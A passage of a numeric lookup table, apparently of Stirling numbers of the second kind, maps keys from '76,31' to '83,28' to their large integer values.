'76,31':1266679488521582820002526072085673063847429811463989013655273604785982866325056,
'76,32':295422704169261430330020960480144481545888673811761290229780138408676951341356,
'76,33':60133806502357999407912751240698929437928825524789567475055043348618915536465,
'76,34':10732061035819872379233622037327631063625754576217293880093131925434971298415,
'76,35':1686327580548532079412951172219760300090406667142425998091578863405417949390,
'76,36':234170055695201903489378819717322320912518391770553522159600727860055511773,
'76,37':28835998690577486881969308854685318475891321640932029642596812683289557600,
'76,38':3158620445048645509395300169606935173107059144145500346301291896381487700,
'76,39':308628387103811101297373979242220271288550632361603686530156569248597500,
'76,40':26968076043169081389561707680219216414232566768882365068470215964219065,
'76,41':2112177287836226550269831551554702052982548358506325816005622932501245,
'76,42':148581872469763754796486306717726486207345299291389343307958566564615,
'76,43':9404791748974723779414512553033297775907809883155567789293698204670,
'76,44':536515571049903532471386036240391883166251273477898966945200805495,
'76,45':27623595963355171484832284935473471455701790174839805514683814000,
'76,46':1285209515986149964454582151030760515484476803635033908350993040,
'76,47':54089505232426941277598956701714950587421758508789034609520320,
'76,48':2060946949126734229536764010143844875588959302902532942772440,
'76,49':71141852651622864326974062310003604346420479379213820687500,
'76,50':2225861432141935545806001891710871767504086503953652737700,
'76,51':63141485859597728260435598278368352233624822807733200408,
'76,52':1624131915713631018436531215159992455941721731123372948,
'76,53':37877174097026423815756976280372206168425175920945320,
'76,54':800668971188529855535494184186425343714824564591120,
'76,55':15332771545823978070170241957047854986759462572520,
'76,56':265796899479688337353102950723500070782131477218,
'76,57':4166744944458155477626644967281646515474008550,
'76,58':58991961568668038110569053406099859720154850,
'76,59':753058768560571431767620775115838634602500,
'76,60':8650425195092440878718547376557846438490,
'76,61':89200741142500509016453928394157120080,
'76,62':823301298862371590054735334232168560,
'76,63':6777869581469509248967386325044480,
'76,64':49562478031926771461633121217080,
'76,65':320293445459632037268751000125,
'76,66':1818128040150789066076026755,
'76,67':8997810735323149676855590,
'76,68':38465024328335948014105,
'76,69':140394491813739975000,
'76,70':430993751785766900,
'76,71':1090897798271940,
'76,72':2214901610715,
'76,73':3465315475,
'76,74':3919225,
'76,75':2850,
'76,76':1,
'77,1':1,
'77,2':75557863725914323419135,
'77,3':912400181569961005815800074604872825,
'77,4':951498460891573072468858528218667059155248690,
'77,5':5514536465521723151369561359948128253250665227750901,
'77,6':1148977961839197196969556315332006345018903301348810681088,
'77,7':23447538832891186057663142473451582835605996430687423674505216,
'77,8':85563684163345906565740839259264539400726212595475042729680111068,
'77,9':82501140001502297547502094791512171707908084622829871087361426304318,
'77,10':27474775298234335669113638810746811371588345187127538340340124246440525,
'77,11':3827986904465002322281037572248436092826379827817819442455990574150741903,
'77,12':257145325841082099722338045437843871279413028919431882115698414161796363374,
'77,13':9276750973167170682865591834815574759760534061337548236386392335095269727953,
'77,14':195450842264224222108321141560998475175216913196100078854612173198178540002400,
'77,15':2570171172187432936224222132419773737619799364374183732772874651523630322529120,
'77,16':22254622757011220226587893840681038183159756612336789804297103016562989410386176,
'77,17':132561667546731841480966172130552903850831948121197958189854014684009638018719016,
'77,18':563236677522106058849422985501690812626390926335726660590430401354809241447030600,
'77,19':1759609296537705145831839496572380783037994856801617754254369623726428468295580600,
'77,20':4147066163144518218634904065489348471460764495025734885317997059881830309734948600,
'77,21':7536694863881316636642304888560225123145219006738389996686026468824145074598986160,
'77,22':10762820936497128716951988011997931597619422657950327942118466721145388441232949300,
'77,23':12276576936019878012466633744172520639886763756656318527132219009162298905917160100,
'77,24':11345711892630669927748840190126659919652070902466179055900300997649246317387698500,
'77,25':8602616598593116910968076835132727906071023330545962134471571724161436213729649880,
'77,26':5410987395552176713697425321893607134664713121483690034223892676079897799635102663,
'77,27':2851211472026357419110514035097357830877466216887454276219564073174363265691522661,
'77,28':1269649430524488883304906991916399429102641126259623482432255102570263753850512938,
'77,29':481540424860595391723762061817205748770404707091373141082998297977699045277567063,
'77,30':156646452104237151898639349705260752648059137429303464282991143645018759577318200,
'77,31':43983200421595168903770744124571375480649223896795859984451641976682438622549176,
'77,32':10720206021937948590563196807450296473315867373440350301008238033863645309248448,
'77,33':2279838318747075410791141751423209152997539916129817016906596568913101164044701,
'77,34':425023881720233660301855900509838385601204481116177559398221528813407939682575,
'77,35':69753526355018495158686913065019241566789987926202203813298392144624599527065,
'77,36':10116449585575800605030588682043363852941068770882352795837205066367416373218,
'77,37':1301102007246568918122243247340679104520497292485038618935682797141769142973,
'77,38':148863575602426016238990715299748855053959569118461042802045904745786090200,
'77,39':15195127542097278459992885360053525753360533806248044120977398097076790200,
'77,40':1387351428830574356879842286450988927857853303116898289268965207817360100,
'77,41':113567344844454369950624801293962000586517049467641723524700756196770110,
'77,42':8352615931566304251722256433699214473691050928744678234939882728215075,
'77,43':552987917675676877311310346498158290571381124267078758247587589365425,
'77,44':33011476875170479208155498147610540635222865916183122334882533646450,
'77,45':1779577389400886249288838858336698098672831831345690215105972435495,
'77,46':86743233698718069849743063882888455167987723142051365298829493840,
'77,47':3827416261910216204501733116011363193093299453548118534998448080,
'77,48':153014958790510184295363629188619504615691805048110615862597440,
'77,49':5546897729056254581558493063334021488563562792484010156459940,
'77,50':182434924258719641617274156895547192721624804576896457572500,
'77,51':5446077210981419687088217403907657731418952467148045958508,
'77,52':147596345476706541219135221466687959942594352826148593704,
'77,53':3631622142856031480671650958019719382868256054933474908,
'77,54':81113298541207036014673662226439174729025702408865800,
'77,55':1643971406208848649394857491824057367986595006079720,
'77,56':30217397916686524961944007197563858950558825296728,
'77,57':503301361313803199577821713858553922164149964568,
'77,58':7588278715440901688039650064835438379242989850,
'77,59':103422428913741752584858679137934339161702350,
'77,60':1272084280266117884490733617709309420911900,
'77,61':14091670404784971928722237008601430763370,
'77,62':140245421671967547599847519116551570800,
'77,63':1250307082494950672739680672709970800,
'77,64':9949868175512822622511906082937600,
'77,65':70381551986802853884101936225205,
'77,66':440289896109584115629768765955,
'77,67':2420981359417440094425351285,
'77,68':11613432389649994141814730,
'77,69':48152244263484006289105,
'77,70':170564054438743658000,
'77,71':508447495463074640,
'77,72':1250370714243420,
'77,73':2467869640390,
'77,74':3755338125,
'77,75':4132975,
'77,76':2926,
'77,77':1,
'78,1':1,
'78,2':151115727451828646838271,
'78,3':2737200544709958575311126138138037610,
'78,4':3805993844478692471445395118690468311225867585,
'78,5':27572683279107076648420879268599169484920385294003195,
'78,6':6893873285571648703540489261553398018241673058758091837429,
'78,7':164133920808200141600838966870476411855586993918113314532217600,
'78,8':684532920845600143711984377216589766788645306760231029261115393760,
'78,9':742595823697684023834084593962868809910573487818064314828982516849930,
'78,10':274830254122344858988683890202259625887591359955898213274488603890709568,
'78,11':42135330724413259880760526933543543832461766451183141405356236439904601458,
'78,12':3089571896997450198990337582826374891445782726861000404830836960515707102391,
'78,13':120854907977014300976975031898040315748166355826307558955138798770400302826763,
'78,14':2745588542672306280199361573688794227212797318806738652200956817109594829761553,
'78,15':38748018425075718265471653127857604539472207378808856070447731946052633377939200,
'78,16':358644135284366956561630523583316384668175905161762820601526522916531460888707936,
'78,17':2275802971051452525403012820060080403647302874672702079031815352644726835728609448,
'78,18':10270821862944640900770579911160987531125868622164277848817601239070575984065269816,
'78,19':33995813311738503829654373420376925690348293205566463991423453252156950139063062000,
'78,20':84700932559428069518529920806359350212253284757316315460614310821363034662994552600,
'78,21':162417658304652167588123306725254076057510363636531924815724552905188876876313657960,
'78,22':244318755466818148409586041152514720270772517481645604723292294334022690781723870760,
'78,23':293124090464954323003684564127965906315014989061045654066159503931878263277327631600,
'78,24':284573662359155956278438798307212358711536465415844615868739442952744210523221924100,
'78,25':226411126857458592701950761068444857571427654166115232417689594101685151660628945500,
'78,26':149288288882949711467101135204366513407353564489121903024292781302238779004242319118,
'78,27':82393697140263827029681304269522268568356300977444955492152122651787705973306214510,
'78,28':38401395526712046151647909808756541845751417752156911784322706945141748373505884925,
'78,29':15234321751481755243294006784615366143444377631909444573839205743923536066899957765,
'78,30':5180933987987709948682942552975028328212178829970477069572732607328261832597113063,
'78,31':1520125665173687387915532417566973392548185078229975123800992044922174356876342656,
'78,32':387029793123609523801793041962980862626756979846887069616715259060319088518499512,
'78,33':85954870540591437146670874604416198522234684605724311858925924807995983722723581,
'78,34':16730650297235019861054242368757714263438492274079854036446128548568971113252251,
'78,35':2866397304145880990855897857785511840438854058533254692863665253875268923129850,
'78,36':433945711435747316939788105618580340272668463677966904463437774533851588962913,
'78,37':58257223853698850575553588833648490720199468592828781696457468560612874663219,
'78,38':6957917880138757535203890428731135596570960918986558245413427177481640570573,
'78,39':741473549744219876178713244341836359435020387562134763520164430531780908000,
'78,40':70689184695320252735186576818093082867674665930923975691736006409771194200,
'78,41':6043612567453203524855459139503430951905052331290208953781696211884934610,
'78,42':464377213970239148522959571509329008481541188474918209392175830781803260,
'78,43':32131096391620409976108601333120020968260439272229064839586149070928350,
'78,44':2005492900183177962470152264993022078521187224579136140982419069809225,
'78,45':113092459398210360426153246772761955075500298326739182014651293243725,
'78,46':5769766139541917462377019796949567036400267095880053018852129152135,
'78,47':266631798008498231461324520335422525243372797458812936443756553600,
'78,48':11172134283854705050679187317065099414646506095857428096403125200,
'78,49':424812947514266658791729789291986557555306381879827113529134500,
'78,50':14668643941992236662422200908111381124644803021328833035084940,
'78,51':460184862018772045658773244494837737023991380401446801456408,
'78,52':13121087175770159830483248920175431648433858814107772831116,
'78,53':340072319048076209694732722241733087234611923737622763828,
'78,54':8011740264081211425464028718247434818235643985012228108,
'78,55':171531725882693711731390824276762329968288427743250400,
'78,56':3336145689543294047263721894887633469217889222696488,
'78,57':58905575511573307337879844887501432513915373277104,
'78,58':943421526809375497484121417619009348160243375868,
'78,59':13690202021351665090546312133973564389783428500,
'78,60':179747485729708825654302696200492904416416350,
'78,61':2131676174958001172142790075233996697477470,
'78,62':22786886548446959879912783193827628152970,
'78,63':219014767869149439982447401497279731200,
'78,64':1887098645727771320580442662017977200,
'78,65':14524669054655008124978531937575925,
'78,66':99440685130035405515666674778235,
'78,67':602495647190552601956267302050,
'78,68':3210694761913639696068752925,
'78,69':14935937243830390575762975,
'78,70':60091728074196062349105,
'78,71':206663826616621957440,
'78,72':598474186888600880,
'78,73':1430525197991890,
'78,74':2745764661640,
'78,75':4065311250,
'78,76':4355351,
'78,77':3003,
'78,78':1,
'79,1':1,
'79,2':302231454903657293676543,
'79,3':8211601634130026841660830243060951101,
'79,4':15223975380651970430491539050072999383041507950,
'79,5':137863420201529227720796867788390966115070237695883560,
'79,6':41363267286113171328319583990199656708619523272933845027769,
'79,7':1148944339530686562854576308582596436387127199099851959817360629,
'79,8':5476427500685609349837475856699588610721018041075766347403455367680,
'79,9':6684046946200001814650473330043035878961950035669339064490103767043130,
'79,10':2749045137047146273910672986616559127685824173046800197059715021423945610,
'79,11':463763468222668203547354480159181241782967022322970453672193089442841325606,
'79,12':37116998094693815647764811520850042241181854488783187999375399762628389830150,
'79,13':1574203375598183362899665752257350479617608408468859266821635220975719643850310,
'79,14':38559094505389302223768037063541159496727328819120648689768534238304727919488505,
'79,15':583965864918808080262274158491552862319295908000939579708916936007899095498849553,
'79,16':5777054182974947023251560030460919759230286689967013985694872098610556007597266176,
'79,17':39047294643159059888412848464604683246672324774597698164142387517876887668275068552,
'79,18':187150596504054988739273451220957855963912938073629703357748637655915094548903466136,
'79,19':656191274785976213664203674898322575647743439527927093685863213030052628626263447816,
'79,20':1728014464500299894200252789547563929935413988351892773203709669679417643398954114000,
'79,21':3495471756957123588869119362036694947419970921124486736590829921830329449065581369760,
'79,22':5537430278574651432599016212080577922014505748232735228728155028253688074074238814680,
'79,23':6986172836160767577494331016095730565516117265885695648244960884767222746160259397560,
'79,24':7122891987084697273686215723501062515391890159041316434915906134797739315834653810000,
'79,25':5944851833795620773827207825018333797997227819568725426310979295494873002038945561600,
'79,26':4107906637814151090846580276381974206162620330883284711049301907959893405770929242568,
'79,27':2373918111670073041268496350481467764752973690880135701312400092900506840283510110888,
'79,28':1157632771888201119275822778914705440249395998037838485453187917115756660431470992410,
'79,29':480196726319682948207174106562602160005638369077530804425659673518924294313604660110,
'79,30':170662341391113053703782283373866215989809742531023756661021183963771391044813349655,
'79,31':52304829608372018974064447497551203497205916255099705907403485999915666895763735399,
'79,32':13905079045129192149572909760382360996604408433330361351535880334852385189468327040,
'79,33':3223540520963126949641931903908715413860501571835789360961270777724186551368377685,
'79,34':654796980646582112422515115142178483479143421924439349098094295459341001573300115,
'79,35':117054555942340854541010667391250628678798384322743768286674412434203383422797001,
'79,36':18488442915832784400688269660054404090254918750940063253547425137093926125794718,
'79,37':2589462994022604788235270892463574496920048801612631827232364111276527951502016,
'79,38':322658103298971636913301425125431643389895983514317995022167701304915216344993,
'79,39':35875386320163332706173706958062753614536756033909814022699839968221095982573,
'79,40':3569040937557029985586176317065559674142007024799093791189604686922628676000,
'79,41':318477299960901597254260401537733751895781811513822542796785551097053513210,
'79,42':25547455554203247762819761142895249308129782247236773748253081104720671530,
'79,43':1846014358809916777495629428833489910116740077180767997494380240831722310,
'79,44':120372783999680240324795300992812992423192677153711055042812588142534250,
'79,45':7094653573102644181647048369767310056918700649282399331641727265776850,
'79,46':378501701817138563695496157432442038749912584737221620881849234241935,
'79,47':18301460645941334341059272252714425722838788576444261031708687171335,
'79,48':802894243633524073893925511554547297146405090059969485071106563200,
'79,49':31987968712053771331473946992372440734856518807968956659330715700,
'79,50':1158245144613878491912839834697555613787546532946268765283381500,
'79,51':38138071904949610991019636377348105712868363421802619909361748,
'79,52':1142481395158820356843902188343960182742552038735050988674440,
'79,53':31144920085318198944304083198987285271868290772201779314000,
'79,54':772706293308461626669790273027094567419336698928283081660,
'79,55':17445985187629365570690524053469362966491507510891000108,
'79,56':358355884497118178378159250390469804244490224214253728,
'79,57':6693763493702972565522873053475215122511065499491416,
'79,58':113624024066517086191958887109403974707209489077448,
'79,59':1751143446069123737826353833523449647157465657368,
'79,60':24475051165134194629804473906003138654768409500,
'79,61':309779732402146897155012890789766702962542020,
'79,62':3544463140961712684697382633251309642961610,
'79,63':36584816924203374598806969488156251218570,
'79,64':339789081195726804499595731866430272000,
'79,65':2831202134280346848704047237960412325,
'79,66':21087754273237344889012532472939435,
'79,67':139807893491802429846736584015585,
'79,68':820822891000680101288942500950,
'79,69':4241274431737936645796398200,
'79,70':19142358209024114940200325,
'79,71':74764859763976221327345,
'79,72':249753968072601220800,
'79,73':702902526342008850,
'79,74':1633711782953250,
'79,75':3050663005390,
'79,76':4396317926,
'79,77':4586582,
'79,78':3081,
'79,79':1,
'80,1':1,
'80,2':604462909807314587353087,
'80,3':24634804902390382756437394386476529846,
'80,4':60895901530819483356096183041952827775226982901,
'80,5':689317116231621519255954769433493880648350571520925750,
'80,6':248179741580099229499145224738065728642683254707840766050174,
'80,7':8042651739982092053153362479662165254366599013222236652566552172,
'80,8':43812568949824405485262661429905291482204531455805230631187460302069,
'80,9':60161898943300701941204097446244022499268271339065127346758337358755850,
'80,10':27497135417417662740921380339495634312737203680503671309661640318006499230,
'80,11':5104147195586397385294809954737610218740323069725721790591183698892678527276,
'80,12':445867740604548455976725092730359688135965220887721226446176990240983519287406,
'80,13':20501760880871077533343419590866406277270091164583953656680633272446983759884180,
'80,14':541401526451048414495652184641833583433800211876157940923581114557241910516689380,
'80,15':8798047068287510506157880414436834094286165948833214344323522574356791160402231800,
'80,16':93016832792517960452287234645866269010003882947473163350826870513776795217055108369,
'80,17':669581063116678965126269983928740534952659807858127882776115459902517646368273431560,
'80,18':3407758031716148857195334970441846090597105210099932358603617865324348589548537459000,
'80,19':12654784817437603048359143274289086793271038289104244483389149685226915038447908974640,
'80,20':35216480564791974097669259465849601174356023206565782557760056606618405496605345727816,
'80,21':75132921360599895260451759392318157825754803331966114241611138028116336073776162878960,
'80,22':125318937885599455106047476027809409231739097382244661768610240543411467078698835292720,
'80,23':166219405510272305714968629582282380928885202863603735138362255377899811235760204958560,
'80,24':177935580526193502145963508380121230934921481082877290086226708119912966326191950837560,
'80,25':155744187831975216619366411348959407465322585648259452092690388522169564366808292850000,
'80,26':112750424416963549135838295010949663158225356422534127913592828902452101552083105868368,
'80,27':68203695652906123205095981739381603854492909984646948646484104416273578093425702236544,
'80,28':34787635724539704380991534160093220091736061635939613294001661772141693332364697898368,
'80,29':15083337835159006617283871869230168080412908701286231813797318449164561195526006135600,
'80,30':5600066968053074559320642607778588639699930645008243504256295192432066025658005149760,
'80,31':1792112059250645641899780155797953524403193146439114639790529249961157064813489147024,
'80,32':497267359052506167760397559829786755388546986121671269156551656715191992958750200679,
'80,33':120281916236912381487756662589369969654000960303911410263257815999750541384624790645,
'80,34':25486637862946918772007445818742783852151377917266727230296476823341780604860581595,
'80,35':4751706438628512021357888473835950487237086873220471239131698730656459421371195150,
'80,36':782638500912321092965788375153209175927975459356586045414381717369584723951406849,
'80,37':114298573694669161565393292681206660476296724410607440861144897254325460331369310,
'80,38':14850470919383526990940725047229976945736096175156715638074736760863306172611750,
'80,39':1721798169785341612454075996489879034356829468836800741907461460065537959665340,
'80,40':178637023822444532129620759640685140580217037025873565670284027445126243022573,
'80,41':16626610235953995473010852780112643501869061296865818045857812281901822717610,
'80,42':1391470433237438003292690369539334222837232665897767040223414957495321717470,
'80,43':104926072983029669195131826582735315443149605566009797640511431460484730860,
'80,44':7142416854795847351786622672517261576737217871944054419378134119103229310,
'80,45':439632194789299228498912477632341944984534206371419024966690315102492500,
'80,46':24505731856691018111639871611659643839414679547194593892206792040905860,
'80,47':1238670352176381277725281953310020047723335647830101889372157531294680,
'80,48':56840384340350489887967696807332695985866232899322796315121802204935,
'80,49':2370304710524158869136148914180796893154374511650448361378311632500,
'80,50':89900225942747695927115938727250221424233845455282394923499790700,
'80,51':3103286811766308652454841289942309005143833067458202380660830648,
'80,52':97547104453208269546902550171234035215481069436025271320432628,
'80,53':2793162159680684900892018597890286302151571449661745292316440,
'80,54':72871059923975126784472757942450391912512472514329065723640,
'80,55':1732235478628076733057769095967909530576369612027288087600,
'80,56':37513914719467983559867442075335672004182960066889208876,
'80,57':739900403638187614612963014438557066227620957685264440,
'80,58':13283956889560963564656488505820645655529215865983400,
'80,59':216941487384595386723713763287287503889499962862160,
'80,60':3219646515977175415614622267883637966443570227368,
'80,61':43371614841665155356260260244178907535483472720,
'80,62':529536447141773083606250614051347900826161840,
'80,63':5849306607186525284422221711005153469731520,
'80,64':58331318120729890086781096327607788626570,
'80,65':523817219923949349665358802333857073125,
'80,66':4222993916314011611378874381174415035,
'80,67':30454883137188107688743883601983630,
'80,68':195623850079848676734384674080185,
'80,69':1113470826790597729848893976750,
'80,70':5581239506369624691610420950,
'80,71':24450663252266426654441820,
'80,72':92747145465203509224945,
'80,73':301065852495567866850,
'80,74':823797198280549350,
'80,75':1862511508357500,
'80,76':3384783167766,
'80,77':4749484740,
'80,78':4826900,
'80,79':3160,
'80,80':1,
'81,1':1,
'81,2':1208925819614629174706175,
'81,3':73904414707171752732221990474016942625,
'81,4':243583606147912738326775114924248705487384461450,
'81,5':3446585642054009127099257203263652445194580632831611651,
'81,6':1489079138797711608616390604383163805349980176597616117226794,
'81,7':56298810359616224471303036502859894846294835775810364408731915378,
'81,8':350508594250335225974154444801721994022890618245455067286152248968724,
'81,9':541500903058656141876322139677626107784896646583041951351456223689104719,
'81,10':275031516073119928111155007492402587149871305076375778223963161517423748150,
'81,11':56173116286867788900983830882453208040456290970663443367812682328137470299266,
'81,12':5355517034450167869105995922719053867850322973722380439144715066590694909976148,
'81,13':266968759191928556389441179773993641292647150360479118763294409532051772397781746,
'81,14':7600123131195548880472474004576536574350473057430795126586816237073833730993535500,
'81,15':132512107550763706006863858401194344997726289444374373105776419729909109316550166380,
'81,16':1497067371748574877742753634748297138254348293108403827957553450794785514633283965704,
'81,17':11475894905776060367598876961434455363205220616535647170544789688856576783477703444889,
'81,18':62009225634007358394642299451881970165700553589656910337641237035740792258241947693560,
'81,19':243848669563030606776019057181934495162746832703080577542997461884635734320058807977160,
'81,20':716984396113277085001744332591281110280391502420419895638590281817595024970554823530960,
'81,21':1613007829137389774567156206704530915515206893177854181631593955197061463045904766185976,
'81,22':2832149554843787907593496232004125160924014945741348673151036429983168611805150539318800,
'81,23':3948365264621862486550325956420304170596098763245130569950942114235107125501183549339600,
'81,24':4436673338138916357218092830705191923367000748852658697207803250255811003064367025060000,
'81,25':4071540276325573917630123792104106417567986122289363592403486421174152075496399272087560,
'81,26':3087255222673027494151162081633650649579181852634146777846103939985924204720969045427568,
'81,27':1954250207045428875673429801974252967229533926008001741368663648141838710074577066255056,
'81,28':1042257495940017845872858938221991766423102635790956120878530634036240991399637243390848,
'81,29':472204432944150896282223818367768094423710413973240335894123896797913968002618875830768,
'81,30':183085346876751243396903150102587827271410828051533536941486174222126541965266160628400,
'81,31':61155540804823089458213827437515147896198918184620797337762701941227935034876168707504,
'81,32':17704667548930843010232502070351129696836696702332595252800182264847300839493495568752,
'81,33':4466570594870614756856367425278995753970578676150747807844059584706959858651368291964,
'81,34':986827603577107619736009820426624620627147809490980136093338027993371081949884564875,
'81,35':191796363214944839519533542403001050905449418479983220599905932396317860352852411845,
'81,36':32926692471472071368126269979351480820644203410057568874049440555961509483621841714,
'81,37':5011685727615080070885340204357855613550954262549061357276742915779626756212071319,
'81,38':678616468631243187221140844475945784414268379066562635107984894167131094890615810,
'81,39':82000599541011849876649688910335259285652445459791944572465733703419286599560010,
'81,40':8867279122683122897638906382117284657565510949871743368718822557870587680568260,
'81,41':860328043496558346523065723625303524156848550197372105550454331003100974444583,
'81,42':75068368431926391611303848300764680861032833264572033735241240496705334851350,
'81,43':5903291571507713778683358912596952786892665705236188338765406510296165144450,
'81,44':419192414594046952673743224173494824819587191931548192093149332701026820500,
'81,45':26925865620314312634237684165972649101041257158657910542879198298715391810,
'81,46':1566895860197086061634346571768685561597609465542370344008202748984162060,
'81,47':82723238408980938164728123417230586082411454995209382692698196011755820,
'81,48':3967008800513204792347731400061989455044914826997596112498004037131560,
'81,49':172985315156034274475638993602191743750430583970194766022659072197435,
'81,50':6865316007661543665491945850543307964366066784414568107553301167500,
'81,51':248167853342829437202312844514307980686569331895650716337202153748,
'81,52':8175736243333138668893773898846478836348848678131516489323327304,
'81,53':245584698916284569294179535859419209229514356268097771813203948,
'81,54':6728199395575341747253547526782607465427244965435514841393000,
'81,55':168144011248519347102650058220685416094212801175829910541640,
'81,56':3833014702918283812410345852186707162810615375773083784656,
'81,57':79688237726844677592806333898333424779157354654949281956,
'81,58':1510369903232723501363039347776154514248315477912301640,
'81,59':26083504645252091381355600539770608385009713674850840,
'81,60':410120278343225911660591099360305781876114176504240,
'81,61':5865315021318749892346498142778551326108062063288,
'81,62':76202874564455086539847798315362477386705506800,
'81,63':898042763394524176524850581844672569419247600,
'81,64':9582510966913238249976211875972051941832000,
'81,65':92379437415786597815029418479308498379695,
'81,66':802534818400674116016364511491368465435,
'81,67':6263471086505614826524714582507318245,
'81,68':43757304942617817706682041439436210,
'81,69':272453337128399920093958358475935,
'81,70':1504157592236471458261623443250,
'81,71':7317236597280540984075790170,
'81,72':31128457725761079318637860,
'81,73':114724952697379963504995,
'81,74':362026845168328518750,
'81,75':963485561407361850,
'81,76':2119755029107716,
'81,77':3750493492746,
'81,78':5125982940,
'81,79':5076540,
'81,80':3240,
'81,81':1,
'82,1':1,
'82,2':2417851639229258349412351,
'82,3':221713244121516467122485586051225534050,
'82,4':974334424665555368014272212429216812423554788425,
'82,5':17232928453853651783409024343093377150221608651542519705,
'82,6':8934478279371911705707470725556186095752326254166329534972415,
'82,7':394093161596452369010729871910623647087869200410849148477240634440,
'82,8':2804125052813041424017706861450278812077971240799416348653626723665170,
'82,9':4873858636122155612112873411543436692058092709865623017230392165450911195,
'82,10':2750856661634257937253426397063703497606497947410340824190983071397926586219,
'82,11':618179310671618797838933294714477691032169071982374252824163468771029597040076,
'82,12':64322377529688882218172934903511099622244331975639228713104393481416476390013042,
'82,13':3475949386529521400931841332984636390672263277659950924361972038983263736081138846,
'82,14':106668692595929612883004077243845505682199269954391610890978721728565724006307278746,
'82,15':1995281736392651138983430350022491711540244814723046391713233112185710473479246031200,
'82,16':24085590055527961749890922014373948557067298979178835620426631632446477343449093617644,
'82,17':196587280769941601126923661979134038312743098774214405727218978161356590833754242528817,
'82,18':1127641956317908511471160267095309918345815185230360033248087056332190837431832761928969,
'82,19':4695133947331588887139004385908637378257890374948187883654593012843819744339359299259600,
'82,20':14583536591828572306810905709007556700770576881111478490314803098236536233731155278596360,
'82,21':34590148807998462350912024673386430336099736259155357709902063340955885748934554913436456,
'82,22':63920298035700723741624073310795284455843535699487524990954395414826770922759216631199576,
'82,23':93644550641146625098250993229671121084634286500379351782022705057390632498332372174129600,
'82,24':110428525379955855059784553893344910331404116735708939302938220120374571199045992150779600,
'82,25':106225180246278264297971187633307852362566653806086748507294963779609612890474348827249000,
'82,26':84340176065824288765560337914579023306626714290777179816402188860808181398241594453204328,
'82,27':55852010812899607137333766734938480764776597854850193794800022439815569376734549834314080,
'82,28':31137460093365928560113480072190022427076407728154773125967521401156586469264419881198800,
'82,29':14736186051320393838057349670887266504710704641014925861808123641175746063475584642483120,
'82,30':5964764839246688198189318321445402912566035255519246444138709123461710226960603694682768,
'82,31':2078907111826267016601531800665557412053577291774778254412129934400192528046427390561024,
'82,32':627704902370610065785653893688751298194973212659263845427368534416341561898668026907568,
'82,33':165101497179661129986492627104557989577865793015307272911654148560176976174988649203564,
'82,34':38018709116492273827880701319784232855293604198844072435017552536481576644947443497714,
'82,35':7699700316100177002919683804531661402317877456290392857090045661864496194299718979450,
'82,36':1377157292187939408772079261659654360448640741242055700065685792410932201763238713549,
'82,37':218359064393230033990883857540592138522029511124372839093288928439807699463468480517,
'82,38':30799111535602321185288692294443795421293152667078441491380168894130608362055472099,
'82,39':3876639850730705332410478711979020896554713751998448473434148508600483272273456200,
'82,40':436691764448336765782205944195026645588272883454661679321218636018242793822290410,
'82,41':44140728906042015105084601050754729147996301507963999696287450128997727632796163,
'82,42':4013199517637466794197827352257420120320227547309397522430586431864725038201283,
'82,43':328909906006758084094688281542433650697417458589728132302153720439440436062700,
'82,44':24347757813645779696328060776230725078954502150224308790863977149141345246450,
'82,45':1630856367508191021214439011642264034366443764071154166522713256143219451950,
'82,46':99003075189380271469417626467332184934531292573606946367256524751986846570,
'82,47':5454888065419190155376568372378523107470947850317211330565017961536685600,
'82,48':273139660833614768197419230620206079924567366691093996092602389794070700,
'82,49':12443289243158884241654042086569384898816013441537139647608298574805875,
'82,50':516251115539111457750236286129357141968733923190923171400324130572435,
'82,51':19521876528145844962809900920773014979381102711092754640750611008648,
'82,52':673306137996152647984789087254324880176709463158489573782015173556,
'82,53':21191725285896220841485289299395696925513109560340698395423136548,
'82,54':608907466277353023645871102305680012362585584401615573248425948,
'82,55':15976120014243905837899300728920305350608949030106159921183200,
'82,56':382792834611943240597629425943141017211607262219122602482376,
'82,57':8375244253348430435200306884391712375222584591105192856148,
'82,58':167289692114342640671862616069350386605559652373862777076,
'82,59':3049296677302596892863019779622620408963888584728501200,
'82,60':50690721345845646080991066501388955297576564265105240,
'82,61':767904494643669655093727486069797412768705962364808,
'82,62':10589893244314965257817061638331024924083803484888,
'82,63':132779568658310109660913384971576849260118105600,
'82,64':1511323465276971424523328141906883893696495600,
'82,65':15587174398939367107953124077127104336512175,
'82,66':145346735430231089472109476237738817098405,
'82,67':1222187381196550309393520388519358787850,
'82,68':9238967822603626430579093400388980525,
'82,69':62556585204477412193165168174275725,
'82,70':377744368584952922172271999503435,
'82,71':2023681390643389868131004545320,
'82,72':9558485553535338695017716090,
'82,73':39503379272669816654502495,
'82,74':141514939239836273892495,
'82,75':434288262273880657500,
'82,76':1124586943619548266,
'82,77':2408543028049158,
'82,78':4150320162066,
'82,79':5527029600,
'82,80':5335740,
'82,81':3321,
'82,82':1,
'83,1':1,
'83,2':4835703278458516698824703,
'83,3':665139732364551819219095987412026014501,
'83,4':3897337698883934716178605316839352835745444687750,
'83,5':86164643243602683582600489729739098180324855681267386950,
'83,6':53606886909159924087896607762361459667891107746606628752354195,
'83,7':2758661065653445954986814810845091085801180155202198205670219413495,
'83,8':22433394515665927844510665621474141120270857795595741638377491029955800,
'83,9':43867531850152213550439878410752380507334912360031406571422183115781865925,
'83,10':27513440474978701528146376844048578412757037566813273864927061106144716773385,
'83,11':6802723274049441034165519668256318304851466289753527121889989139552723494027055,
'83,12':772486709666938205415914152136847673157964152779653118810076885245768746277196580,
'83,13':45251664402413467094332110263703784178361666941555001245418740900263845045444818040,
'83,14':1496837645729544101762988922746821715941462042639142503398064076238903399824383041290,
'83,15':30035894738485696697634459327581221178785871490800087486589475404514222826194997746746,
'83,16':387364722624840039137238182580005668624617028481584416318539339231329347968664743913504,
'83,17':3366069363144535180907593175659652599873699978140823732983149260375508521517271216607533,
'83,18':20494142494492294807607808469694712568537416432920695004192785992140791664606743957250259,
'83,19':90335186955618097367112243599359420105245732309245929822685354300364765979879659447861369,
'83,20':296365865783903035023357118566059771393669427997177757689950654977574544418962464871186800,
'83,21':740976661559796281675963423850122593758865038323373990398258133258310136961356808460761936,
'83,22':1440836705593414384666641637510882688364657521647880907510898762467144846049637320799827128,
'83,23':2217744962782073101001396917593231069402432125208212615977476611734811318384403776636180376,
'83,24':2743929159760087146533080286669948969038333088157393895052539987946380341275436183792840000,
'83,25':2766058031536912462509064244726041219395570461887877651985312314610614893460904712832004600,
'83,26':2299069757957709772202539973412362458334861225366293423733751874160622329244755804610561528,
'83,27':1592344468014113681473572039757918003955594856371732412276002794735828554570074439979684488,
'83,28':927700893427145606820511208756259108722916014243183841321890621672199990516138306507880480,
